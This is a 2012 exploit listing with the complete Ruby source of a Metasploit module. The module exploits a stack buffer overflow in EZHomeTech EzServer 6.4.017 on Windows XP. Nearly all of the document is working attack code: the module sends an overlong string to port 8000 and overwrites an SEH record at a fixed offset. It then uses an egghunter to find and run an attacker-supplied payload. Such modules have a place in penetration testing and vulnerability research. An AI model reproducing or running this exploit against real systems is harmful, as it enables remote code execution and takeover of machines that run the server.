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EZHomeTech EzServer 6.4.017 Stack Buffer Overflow

EZHomeTech EzServer 6.4.017 Stack Buffer Overflow
Posted Jun 19, 2012
Authored by modpr0be | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious user sends packets containing an overly long string, it may be possible to execute a payload remotely. Due to size constraints, this module uses the Egghunter technique.

tags | exploit, overflow
MD5 | 9c0e617228c2281179aad5fb2284756a

EZHomeTech EzServer 6.4.017 Stack Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
'Description' => %q{
This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious
user sends packets containing an overly long string, it may be possible to execute a
payload remotely. Due to size constraints, this module uses the Egghunter technique.
},
'License' => MSF_LICENSE,
'Author' =>
[
'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module
],
'References' =>
[
[ 'EDB', '19266' ],
[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'seh'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
'DisableNops' => true
},
'Targets' =>
[
[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
{
'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
'Offset' => 5852
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Jun 18 2012',
'DefaultTarget' => 0))

register_options([Opt::RPORT(8000)], self.class)

end

def exploit
connect
eggoptions =
{
:checksum => true,
:eggtag => "w00t"
}

hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
egg = hunter[1]
buff = rand_text(target['Offset'] - egg.length) #junk
buff << egg
buff << make_nops(32)
buff << generate_seh_record(target.ret)
buff << make_nops(16)
buff << hunter[0]
buff << rand_text_alpha_upper(500)

print_status("Triggering shellcode now...")
print_status("Please be patient, the egghunter may take a while..")

sock.put(buff)

handler
disconnect

end
end
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